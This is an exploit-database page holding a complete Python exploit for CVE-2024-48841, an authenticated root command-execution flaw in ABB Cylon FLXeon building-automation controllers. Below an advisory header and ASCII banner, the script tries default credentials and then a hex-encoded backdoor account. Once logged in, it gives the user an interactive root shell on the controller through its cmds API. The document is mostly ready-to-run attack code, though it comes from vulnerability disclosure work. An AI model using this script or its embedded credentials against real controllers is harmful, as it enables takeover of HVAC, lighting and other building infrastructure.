Share
## https://sploitus.com/exploit?id=PACKETSTORM:188961
#!/usr/bin/env python3
    #
    #
    # ABB Cylon FLXeon 9.3.4 (cmds.js) Authenticated Root Remote Code Execution
    # 
    # 
    # Vendor: ABB Ltd.
    # Product web page: https://www.global.abb                   
    # Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
    #                   CBX Series (FLX Series)
    #                   CBT Series
    #                   CBV Series
    #                   Firmware: <=9.3.4
    # 
    # Summary: BACnetยฎ Smart Building Controllers. ABB's BACnet portfolio features a
    # series of BACnetยฎ IP and BACnet MS/TP field controllers for ASPECTยฎ and INTEGRAโ„ข
    # building management solutions. ABB BACnet controllers are designed for intelligent
    # control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
    # heat pump systems, air handling units (constant volume, variable air volume, and
    # multi-zone), rooftop units, electrical systems such as lighting control, variable
    # frequency drives and metering.
    # 
    # The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
    # connectivity and open integration for your building automation systems. It's scalable,
    # and modular, allowing you to control a diverse range of HVAC functions.
    # 
    # Desc: The ABB Cylon FLXeon BAS controller is vulnerable to authenticated root command
    # execution via the cmds API. An authenticated attacker can execute arbitrary system
    # commands with root privileges.
    #
    # ----------------------------------------------------------------------------------
    # $ ./cmdsapi.py https://7.3.3.1
    # Logged in as admin (admin).
    # # id
    # uid=0(root) gid=0(root) groups=0(root)
    # # exit
    # Cheers!
    # ----------------------------------------------------------------------------------
    # 
    # Tested on: Linux Kernel 5.4.27
    #            Linux Kernel 4.15.13
    #            NodeJS/8.4.0
    #            Express
    # 
    # 
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2025-5908
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5908.php
    # CVE ID: CVE-2024-48841
    # CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841
    #
    #
    # 21.04.2024
    #
    #
    
    import sys
    import urllib3
    import requests
    from urllib.parse import urljoin
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    DEFAULT_PORT = 443
    LOGIN_ENDPOINT = "/api/login"
    CMDS_ENDPOINT = "/api/cmds"
    
    proj = r"""
                     P   R   O   J   E   C   T
    
                            .|
                            | |
                            |'|            ._____
                    ___    |  |            |.   |' .---"|
            _    .-'   '-. |  |     .--'|  ||   | _|    |
         .-'|  _.|  |    ||   '-__  |   |  |    ||      |
         |' | |.    |    ||       | |   |  |    ||      |
     ____|  '-'     '    ""       '-'   '-.'    '`      |____
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘  
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
    โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
             โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
             โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
                                             
                ABB Cylon FLXeon Series <=9.3.4
                 Remote Root Command Execution
                         ZSL-2025-5908
    """
    
    def usage():
        print(proj)
        print("Usage: ./cmdsapi.py <target>")
    
    def get_url(target):
        if not target.startswith(("https://", "http://")):
            target = f"https://{target}"
        if ":" not in target.split("//")[1]:
            target = f"{target}:{DEFAULT_PORT}"
        return target
    
    def auth(url, usr, pwd):
        login_url = urljoin(url, LOGIN_ENDPOINT)
        payload = {"username": usr, "password": pwd}
        sess = requests.session()
    
        try:
            r = sess.post(login_url, json=payload, verify=False)
            if r.status_code == 401 or r.text == "Unauthorized":
                print(f"Auth failed for {usr}: Unauthorized")
                return None
            elif r.status_code == 200:
                userID = r.json().get("id")
                if userID == "admin":
                    print(f"Logged in as admin ({usr}).")
                else:
                    print(f"Logged in as {userID} ({usr}).")
                return sess
            else:
                print("Unexpected.")
                return None
        except requests.exceptions.RequestException as e:
            print(f"Auth error: {e}")
            return None
    
    def exec(sess, url, cmd):
        cmds_url = urljoin(url, CMDS_ENDPOINT)
        payload = {"cmd": cmd}
    
        try:
            r = sess.post(cmds_url, json=payload, verify=False)
            if r.status_code == 200:
                result = r.json().get("result", "Resultless!")
                print(result, end="")
            else:
                print(f"cmd exec failed: {r.status_code} - {r.text}")
        except requests.exceptions.RequestException as e:
            print(f"cmd exec error: {e}")
    
    def main():
        if len(sys.argv) != 2:
            usage()
            sys.exit(1)
        target = sys.argv[1].strip()
        url = get_url(target)
        sess = auth(url, "admin", "cylonctl")
        if not sess:
            print("Trying backdoor access...")
            back,door = "\x63\x78\x70\x72\x6F","\x73\x69\x74\x65\x67\x75\x69\x64\x65"
            sess = auth(url, back, door)
            if not sess:
                print("Backdoor access failed :(")
                sys.exit(1)
        while True:
            cmd = input("# ").strip()
            if cmd.lower() == "exit":
                print("Cheers!")
                break
            exec(sess, url, cmd)
    
    if __name__ == "__main__":
        main()